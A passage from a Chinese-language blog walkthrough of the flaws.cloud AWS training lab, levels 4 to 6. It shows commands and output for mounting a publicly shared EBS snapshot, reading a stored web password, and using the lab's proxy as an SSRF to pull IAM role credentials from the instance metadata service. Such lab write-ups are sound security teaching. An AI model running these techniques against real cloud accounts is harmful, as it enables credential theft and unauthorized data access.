class="line">                    <span class="string">"VpcId"</span>: <span class="string">"vpc-1052ce77"</span>,</span><br><span class="line">                    <span class="string">"PrivateIpAddress"</span>: <span class="string">"172.31.41.84"</span>,</span><br><span class="line">                    <span class="string">"PublicIpAddress"</span>: <span class="string">"54.202.228.246"</span></span><br><span class="line">                }</span><br><span class="line">            ]</span><br><span class="line">        }</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>盲僧发现华点</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">"BlockDeviceMappings"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">  <span class="punctuation">{</span></span><br><span class="line">    <span class="attr">"DeviceName"</span><span class="punctuation">:</span> <span class="string">"/dev/sda1"</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">"Ebs"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line">      <span class="attr">"VolumeId"</span><span class="punctuation">:</span> <span class="string">"vol-04f1c039bc13ea950"</span></span><br><span class="line">    <span class="punctuation">}</span></span><br><span class="line">  <span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">]</span></span><br></pre></td></tr></tbody></table></figure><p>可以看到这个EC2挂载了EBS<code>vol-04f1c039bc13ea950</code></p><p>但是这个时候我们无法确定这台泄露的云服务器就是我们需要攻击的靶机服务器，注意到这个信息中还泄露了给这台EC2分配的公网IP</p><p>可以查一下靶机域名对应的公网IP，这样就能验证是不是同一台了</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-37-19:~$ dig 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud +short</span><br><span class="line">ec2-54-202-228-246.us-west-2.compute.amazonaws.com.</span><br><span class="line">54.202.228.246</span><br></pre></td></tr></tbody></table></figure><p>可以看到都是<code>54.202.228.246</code></p><p>接下来查询这台主机对应的所有快照</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">$ aws ec2 describe-snapshots --filters <span class="string">"Name=volume-id, Values=vol-04f1c039bc13ea950"</span> --profile level3</span><br><span class="line">{</span><br><span class="line">    <span class="string">"Snapshots"</span>: [</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"Tags"</span>: [</span><br><span class="line">                {</span><br><span class="line">                    <span class="string">"Key"</span>: <span class="string">"Name"</span>,</span><br><span class="line">                    <span class="string">"Value"</span>: <span class="string">"flaws backup 2017.02.27"</span></span><br><span class="line">                }</span><br><span class="line">            ],</span><br><span class="line">            <span class="string">"StorageTier"</span>: <span class="string">"standard"</span>,</span><br><span class="line">            <span class="string">"TransferType"</span>: <span class="string">"standard"</span>,</span><br><span class="line">            <span class="string">"CompletionTime"</span>: <span class="string">"2017-02-28T01:37:07+00:00"</span>,</span><br><span class="line">            <span class="string">"FullSnapshotSizeInBytes"</span>: 2485649408,</span><br><span class="line">            <span class="string">"SnapshotId"</span>: <span class="string">"snap-0b49342abd1bdcb89"</span>,</span><br><span class="line">            <span class="string">"VolumeId"</span>: <span class="string">"vol-04f1c039bc13ea950"</span>,</span><br><span class="line">            <span class="string">"State"</span>: <span class="string">"completed"</span>,</span><br><span class="line">            <span class="string">"StartTime"</span>: <span class="string">"2017-02-28T01:35:12+00:00"</span>,</span><br><span class="line">            <span class="string">"Progress"</span>: <span class="string">"100%"</span>,</span><br><span class="line">            <span class="string">"OwnerId"</span>: <span class="string">"************"</span>,</span><br><span class="line">            <span class="string">"Description"</span>: <span class="string">""</span>,</span><br><span class="line">            <span class="string">"VolumeSize"</span>: 8,</span><br><span class="line">            <span class="string">"Encrypted"</span>: <span class="literal">false</span></span><br><span class="line">        }</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>可以看到<code>SnapshotId</code>继续查</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --profile level3</span><br><span class="line">{</span><br><span class="line">    <span class="string">"SnapshotId"</span>: <span class="string">"snap-0b49342abd1bdcb89"</span>,</span><br><span class="line">    <span class="string">"CreateVolumePermissions"</span>: [</span><br><span class="line">        {</span><br><span class="line">            <span class="string">"Group"</span>: <span class="string">"all"</span></span><br><span class="line">        }</span><br><span class="line">    ]</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>关键信息</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line">    <span class="string">"Group"</span>: <span class="string">"all"</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>这个 Snapshot 被设置为 Public（公开）<br>也就是说</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">运维创建了EBS Snapshot</span><br><span class="line">↓</span><br><span class="line">错误地设置为公开共享</span><br><span class="line">↓</span><br><span class="line">攻击者发现该Snapshot</span><br><span class="line">↓</span><br><span class="line">创建自己的Volume</span><br><span class="line">↓</span><br><span class="line">挂载到自己的EC2</span><br><span class="line">↓</span><br><span class="line">读取里面的文件</span><br></pre></td></tr></tbody></table></figure><p>接下来根据这个快照创建一个卷（Volume），然后挂载到自己ec2上</p><p>这里我遇到了一个问题，在我创建默认用户时只给了他ec2和3s的相关权限，所以这里他没有权限创建卷，需要去控制台给这个用户提一下权</p><p>创建一个卷</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">$ aws ec2 create-volume \</span><br><span class="line">    --snapshot-id snap-0b49342abd1bdcb89 \</span><br><span class="line">    --availability-zone us-west-2a \</span><br><span class="line">    --region us-west-2 \</span><br><span class="line">    --profile default</span><br><span class="line">{</span><br><span class="line">    <span class="string">"AvailabilityZoneId"</span>: <span class="string">"usw2-az2"</span>,</span><br><span class="line">    <span class="string">"Iops"</span>: 100,</span><br><span class="line">    <span class="string">"Tags"</span>: [],</span><br><span class="line">    <span class="string">"VolumeType"</span>: <span class="string">"gp2"</span>,</span><br><span class="line">    <span class="string">"MultiAttachEnabled"</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="string">"VolumeId"</span>: <span class="string">"vol-0689d66e761395d18"</span>,</span><br><span class="line">    <span class="string">"Size"</span>: 8,</span><br><span class="line">    <span class="string">"SnapshotId"</span>: <span class="string">"snap-0b49342abd1bdcb89"</span>,</span><br><span class="line">    <span class="string">"AvailabilityZone"</span>: <span class="string">"us-west-2a"</span>,</span><br><span class="line">    <span class="string">"State"</span>: <span class="string">"creating"</span>,</span><br><span class="line">    <span class="string">"CreateTime"</span>: <span class="string">"2026-06-02T03:42:26+00:00"</span>,</span><br><span class="line">    <span class="string">"Encrypted"</span>: <span class="literal">false</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>记住<code>VolumeId</code>，创建一个这个快照所在地区的EC2，挂载volume</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-36-216:~$ aws ec2 attach-volume \</span><br><span class="line">    --volume-id vol-0689d66e761395d18 \</span><br><span class="line">    --instance-id i-02e52c0faa3458431 \</span><br><span class="line">    --device /dev/sdf \</span><br><span class="line">    --region us-west-2 \</span><br><span class="line">    --profile default</span><br><span class="line">{</span><br><span class="line">    <span class="string">"VolumeId"</span>: <span class="string">"vol-0689d66e761395d18"</span>,</span><br><span class="line">    <span class="string">"InstanceId"</span>: <span class="string">"i-02e52c0faa3458431"</span>,</span><br><span class="line">    <span class="string">"Device"</span>: <span class="string">"/dev/sdf"</span>,</span><br><span class="line">    <span class="string">"State"</span>: <span class="string">"attaching"</span>,</span><br><span class="line">    <span class="string">"AttachTime"</span>: <span class="string">"2026-06-02T03:43:36.666000+00:00"</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ lsblk</span><br><span class="line">NAME         MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS</span><br><span class="line">loop0          7:0    0 48.4M  1 loop /snap/snapd/26382</span><br><span class="line">loop1          7:1    0   74M  1 loop /snap/core22/2411</span><br><span class="line">loop2          7:2    0 28.2M  1 loop /snap/amazon-ssm-agent/13009</span><br><span class="line">nvme0n1      259:0    0    8G  0 disk </span><br><span class="line">├─nvme0n1p1  259:1    0  6.9G  0 part /</span><br><span class="line">├─nvme0n1p13 259:2    0 1023M  0 part /boot</span><br><span class="line">├─nvme0n1p14 259:3    0    4M  0 part </span><br><span class="line">└─nvme0n1p15 259:4    0  106M  0 part /boot/efi</span><br><span class="line">nvme1n1      259:5    0    8G  0 disk </span><br><span class="line">└─nvme1n1p1  259:6    0    8G  0 part </span><br><span class="line">ubuntu@ip-172-31-36-216:~$ <span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p /mnt/flaws</span><br><span class="line"><span class="built_in">sudo</span> mount /dev/nvme1n1p1 /mnt/flaws</span><br></pre></td></tr></tbody></table></figure><p>接下来就是找有用的数据了</p><p><img src="/Cloud-Security/Cloud-Security02/Cloud-Security02.assets/image-20260602114620223.png" alt="image-20260602114620223" loading="lazy" decoding="async"></p><p>感慨一个termius真好用啊</p><p>在<code>etc/nginx</code>中看到看到可疑<code>.htpasswd</code>，之后又在<code>/home/ubuntu</code>中发现可疑脚本，成功拿到用户账号密码</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">$ ll</span><br><span class="line">total 68</span><br><span class="line">drwxr-xr-x  6 root root 4096 Feb 19  2017 ./</span><br><span class="line">drwxr-xr-x 94 root root 4096 Feb 19  2017 ../</span><br><span class="line">-rw-r--r--  1 root root   44 Feb 13  2017 .htpasswd</span><br><span class="line">drwxr-xr-x  2 root root 4096 Oct 27  2016 conf.d/</span><br><span class="line">-rw-r--r--  1 root root 1077 Apr 26  2016 fastcgi.conf</span><br><span class="line">-rw-r--r--  1 root root 1007 Apr 26  2016 fastcgi_params</span><br><span class="line">-rw-r--r--  1 root root 2837 Apr 26  2016 koi-utf</span><br><span class="line">-rw-r--r--  1 root root 2223 Apr 26  2016 koi-win</span><br><span class="line">-rw-r--r--  1 root root 3957 Apr 26  2016 mime.types</span><br><span class="line">-rw-r--r--  1 root root 1533 Feb 19  2017 nginx.conf</span><br><span class="line">-rw-r--r--  1 root root  180 Apr 26  2016 proxy_params</span><br><span class="line">-rw-r--r--  1 root root  636 Apr 26  2016 scgi_params</span><br><span class="line">drwxr-xr-x  2 root root 4096 Feb 19  2017 sites-available/</span><br><span class="line">drwxr-xr-x  2 root root 4096 Feb 19  2017 sites-enabled/</span><br><span class="line">drwxr-xr-x  2 root root 4096 Feb 12  2017 snippets/</span><br><span class="line">-rw-r--r--  1 root root  664 Apr 26  2016 uwsgi_params</span><br><span class="line">-rw-r--r--  1 root root 3071 Apr 26  2016 win-utf</span><br><span class="line">ubuntu@ip-172-31-36-216:/mnt/flaws/etc/nginx$ <span class="built_in">cat</span> .htpasswd</span><br><span class="line">flaws:$apr1<span class="variable">$4ed</span>/7TEL<span class="variable">$cJnixIRA6P4H8JDvKVMku0</span></span><br><span class="line">ubuntu@ip-172-31-36-216:/mnt/flaws/etc/nginx$ <span class="built_in">cd</span> /mnt/flaws/home/ubuntu/</span><br><span class="line">ubuntu@ip-172-31-36-216:/mnt/flaws/home/ubuntu$ <span class="built_in">cat</span> setupNginx.sh</span><br><span class="line">htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M</span><br></pre></td></tr></tbody></table></figure><ul><li>账号 <code>flaws</code></li><li>密码 <code>nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M</code></li></ul><p>所以这一关其实还是AWS的权限配置错误导致可以查看EC2下的EBS，甚至可以拷贝</p><p>你过关！</p><h2 id="level-5"><a href="#level-5" class="headerlink" title="level 5"></a>level 5</h2><blockquote><p>This EC2 has a simple HTTP only proxy on it. Here are some examples of it’s usage:</p><ul><li><a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/</a></li><li><a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml</a></li><li><a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/</a></li></ul><p>See if you can use this proxy to figure out how to list the contents of the level6 bucket at <a href="http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/">level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud</a> that has a hidden directory in it.</p><p>Need a hint? Go to <a href="http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/hint1.html">Hint 1</a></p></blockquote><p>在上一关获得的卷中发现一些有趣的信息</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ ll</span><br><span class="line">total 44</span><br><span class="line">drwxr-xr-x 4 ubuntu ubuntu 4096 Feb 26  2017 ./</span><br><span class="line">drwxr-xr-x 3 root   root   4096 Feb 12  2017 ../</span><br><span class="line">-rw------- 1 ubuntu ubuntu 3135 Feb 27  2017 .bash_history</span><br><span class="line">-rw-r--r-- 1 ubuntu ubuntu  220 Aug 31  2015 .bash_logout</span><br><span class="line">-rw-r--r-- 1 ubuntu ubuntu 3771 Aug 31  2015 .bashrc</span><br><span class="line">drwx------ 2 ubuntu ubuntu 4096 Feb 12  2017 .cache/</span><br><span class="line">-rw-r--r-- 1 ubuntu ubuntu  655 Jun 24  2016 .profile</span><br><span class="line">drwx------ 2 ubuntu ubuntu 4096 Feb 12  2017 .ssh/</span><br><span class="line">-rw-r--r-- 1 ubuntu ubuntu    0 Feb 12  2017 .sudo_as_admin_successful</span><br><span class="line">-rw------- 1 root   root   2630 Feb 26  2017 .viminfo</span><br><span class="line">-rw-rw-r-- 1 ubuntu ubuntu  268 Feb 12  2017 meta-data</span><br><span class="line">-rw-r--r-- 1 ubuntu ubuntu   72 Feb 13  2017 setupNginx.sh</span><br></pre></td></tr></tbody></table></figure><p>查看过去使用过的命令</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">cat</span> .bash_history </span><br><span class="line">...</span><br><span class="line"><span class="built_in">cat</span> setupNginx.sh</span><br><span class="line">curl 169.254.169.254</span><br><span class="line">curl  http://169.254.169.254/latest/meta-data</span><br><span class="line">wget  http://169.254.169.254/latest/meta-data</span><br><span class="line"><span class="built_in">cat</span> meta-data</span><br><span class="line">curl -XGET http://169.254.169.254/latest/meta-data</span><br><span class="line">wget  http://169.254.169.254/latest/meta-data/iam</span><br><span class="line"><span class="built_in">cat</span> iam</span><br><span class="line">wget  http://169.254.169.254/latest/meta-data/iam/info</span><br><span class="line"><span class="built_in">cat</span> info</span><br><span class="line"><span class="built_in">rm</span> info iam</span><br><span class="line"><span class="built_in">ls</span></span><br><span class="line"><span class="built_in">cat</span> meta-data</span><br><span class="line">curl  http://169.254.169.254/latest/meta-data/iam/info</span><br><span class="line">curl  http://169.254.169.254/latest/meta-data/</span><br><span class="line">curl  http://169.254.169.254/latest/meta-data/profile/</span><br><span class="line">curl  http://169.254.169.254/latest/meta-data/profile</span><br><span class="line">curl  http://169.254.169.254/latest/user-data</span><br><span class="line">curl  http://169.254.169.254/iam/security-credentials/flaws</span><br><span class="line">curl  http://169.254.169.254/iam/security-credentials</span><br><span class="line">curl  http://169.254.169.254/iam/security-credentials/flaws/</span><br><span class="line">curl  http://169.254.169.254/iam/</span><br><span class="line">wget http://169.254.169.254/iam/security-credentials/flaws</span><br><span class="line">curl  http://169.254.169.254/meta-data/iam/security-credentials/flaws</span><br><span class="line">curl  http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws</span><br><span class="line">curl  http://169.254.169.254/latest/meta-data/iam/security-credentials</span><br><span class="line"><span class="built_in">sudo</span> su -</span><br><span class="line">...</span><br></pre></td></tr></tbody></table></figure><p><code>169.254.169.254</code>这个 IP 在 AWS 和其他云厂商里是 <strong>实例元数据服务 (Instance Metadata Service, IMDS)</strong> 的特殊地址。</p><ul><li><strong>IP 地址</strong>：<code>169.254.169.254</code> 是一个 <strong>Link-Local 地址</strong>（只在实例内部可达），外网无法访问。</li><li><strong>作用</strong>：提供当前 EC2 实例的元数据和临时凭证信息。</li><li><strong>访问方式</strong>：使用 <code>curl</code> 或 <code>wget</code>，可以获取：</li></ul><table><thead><tr><th>路径</th><th>内容</th></tr></thead><tbody><tr><td><code>/latest/meta-data/</code></td><td>EC2 实例信息（AMI ID、Instance ID、hostname、AZ 等）</td></tr><tr><td><code>/latest/user-data</code></td><td>用户启动时注入的 userdata 脚本</td></tr><tr><td><code>/latest/meta-data/iam/security-credentials/</code></td><td>绑定在实例的 IAM Role 临时凭证</td></tr></tbody></table><p>题目说了这里有一个代理，可以替你访问对应的url，而我们要访问的恰好就是仅内网可达的地址，刚好可以用这个SSRF</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">cat</span> meta-data </span><br><span class="line">ami-id</span><br><span class="line">ami-launch-index</span><br><span class="line">ami-manifest-path</span><br><span class="line">block-device-mapping/</span><br><span class="line">hostname</span><br><span class="line">iam/</span><br><span class="line">instance-action</span><br><span class="line">instance-id</span><br><span class="line">instance-type</span><br><span class="line">local-hostname</span><br><span class="line">local-ipv4</span><br><span class="line">mac</span><br><span class="line">metrics/</span><br><span class="line">network/</span><br><span class="line">placement/</span><br><span class="line">profile</span><br><span class="line">public-hostname</span><br><span class="line">public-ipv4</span><br><span class="line">public-keys/</span><br><span class="line">reservation-id</span><br><span class="line">security-groups</span><br></pre></td></tr></tbody></table></figure><p>可以看到对应目录有这些东西，接下来就试喽，用这个代理找到敏感信息</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ubuntu@ip-172-31-36-216:/mnt/flaws/home/ubuntu$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/</span><br><span class="line"></span><br><span class="line">flaws</span><br></pre></td></tr></tbody></table></figure><p>说明当前EC2绑定了：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">IAM Role: flaws</span><br></pre></td></tr></tbody></table></figure><p>获取临时访问凭证</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws</span><br><span class="line">{</span><br><span class="line">  <span class="string">"Code"</span> : <span class="string">"Success"</span>,</span><br><span class="line">  <span class="string">"LastUpdated"</span> : <span class="string">"2026-06-02T04:34:49Z"</span>,</span><br><span class="line">  <span class="string">"Type"</span> : <span class="string">"AWS-HMAC"</span>,</span><br><span class="line">  <span class="string">"AccessKeyId"</span> : <span class="string">"ASIA****************"</span>,</span><br><span class="line">  <span class="string">"SecretAccessKey"</span> : <span class="string">"****************************************"</span>,</span><br><span class="line">  <span class="string">"Token"</span> : <span class="string">"********"</span>,</span><br><span class="line">  <span class="string">"Expiration"</span> : <span class="string">"2026-06-02T11:02:18Z"</span></span><br></pre></td></tr></tbody></table></figure><p>接下来创建新用户获取利用他的访问配置直接盗他号</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ aws configure --profile level5</span><br><span class="line">AWS Access Key ID [********************]: ASIA****************</span><br><span class="line">AWS Secret Access Key [********************]: ****************************************</span><br><span class="line">AWS Session Token [********************]: ********</span><br><span class="line">Default region name [us-west-2]: us-west-2</span><br><span class="line">Default output format [json ]: json</span><br></pre></td></tr></tbody></table></figure><p>验证身份</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ aws sts get-caller-identity \</span><br><span class="line">  --profile level5</span><br><span class="line">{</span><br><span class="line">    <span class="string">"UserId"</span>: <span class="string">"AROAI3DXO3QJ4JAWIIQ5S:i-05bef8a081f307783"</span>,</span><br><span class="line">    <span class="string">"Account"</span>: <span class="string">"************"</span>,</span><br><span class="line">    <span class="string">"Arn"</span>: <span class="string">"arn:aws:sts::************:assumed-role/flaws/i-05bef8a081f307783"</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>没错</p><p>查看存储桶里有什么</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ aws --profile level5 s3 <span class="built_in">ls</span> \</span><br><span class="line">s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud \</span><br><span class="line">--recursive</span><br><span class="line">2017-03-03 04:36:23       2463 ddcc78ff/hint1.html</span><br><span class="line">2017-03-03 04:36:23       2080 ddcc78ff/hint2.html</span><br><span class="line">2020-05-22 18:42:20       2924 ddcc78ff/index.html</span><br><span class="line">2017-02-27 02:11:07        871 index.html</span><br></pre></td></tr></tbody></table></figure><h4 id="原理说明"><a href="#原理说明" class="headerlink" title="原理说明"></a>原理说明</h4><ul><li><strong>SSRF</strong>：利用 Proxy 让服务器代你访问内部网络或 Metadata 服务。</li><li><strong>IMDS</strong> (<code>169.254.169.254</code>)：提供 EC2 绑定的 IAM Role 临时凭证。</li><li><strong>临时凭证</strong>：可在 AWS CLI 中使用，权限受 Role 限制。</li><li><strong>S3 权限</strong>：Role 允许访问指定 Bucket，但没有 ListAllMyBuckets 权限。</li><li><strong>Level6 Bucket</strong>：通过已知 Bucket 名 + CLI 成功访问其内容。</li></ul><p>获得了第六关的地址</p><p><a href="http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/">flAWS - Level 6</a></p><h2 id="level-6"><a href="#level-6" class="headerlink" title="level 6"></a>level 6</h2><blockquote><p>For this final challenge, you’re getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.</p><p>Access key ID: AKIA****************<br>Secret: ****************************************</p><p>Need a hint? Go to <a href="http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/hint1.html">Hint 1</a></p></blockquote><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ aws configure --profile level6</span><br><span class="line">AWS Access Key ID [None]: AKIA****************</span><br><span class="line">AWS Secret Access Key [None]: ****************************************</span><br><span class="line">Default region name [None]: us-west-2</span><br><span class="line">Default output format [None]: json</span><br></pre></td></tr></tbody></table></figure><p>先看看<code>SecurityAudit</code>这个策略是啥</p><ul><li><strong>安全审计</strong>：用于检查账户是否符合安全最佳实践（如 CIS Benchmarks）或合规要求（如 PCI-DSS、ISO 27001）。</li><li><strong>事件响应</strong>：当发生安全事件时，授权给应急响应团队，让他们能快速查看日志和配置以进行调查，同时确保他们<strong>无法修改或删除任何东西</strong>，避免二次破坏。</li><li><strong>第三方协作</strong>：安全地授予第三方工具或审计公司访问权限，让他们扫描你的 AWS 环境以发现漏洞，但无权触碰你的业务数据。</li></ul><table><thead><tr><th align="left">审计类别</th><th align="left">能查看的关键内容</th></tr></thead><tbody><tr><td align="left"><strong>身份与访问管理 (IAM)</strong></td><td align="left">用户、角色、策略、用户组、密码策略、多因素认证（MFA）状态。</td></tr><tr><td align="left"><strong>日志与监控</strong></td><td align="left"><strong>CloudTrail</strong> 日志（谁在何时做了什么）、CloudWatch 配置。</td></tr><tr><td align="left"><strong>安全检测</strong></td><td align="left"><strong>GuardDuty</strong> 发现的威胁、<strong>Security Hub</strong> 的安全检查结果、<strong>Inspector</strong> 的漏洞扫描结果。</td></tr><tr><td align="left"><strong>资源合规与配置</strong></td><td align="left"><strong>AWS Config</strong> 记录的资源配置历史、<strong>Trusted Advisor</strong> 的检查建议。</td></tr><tr><td 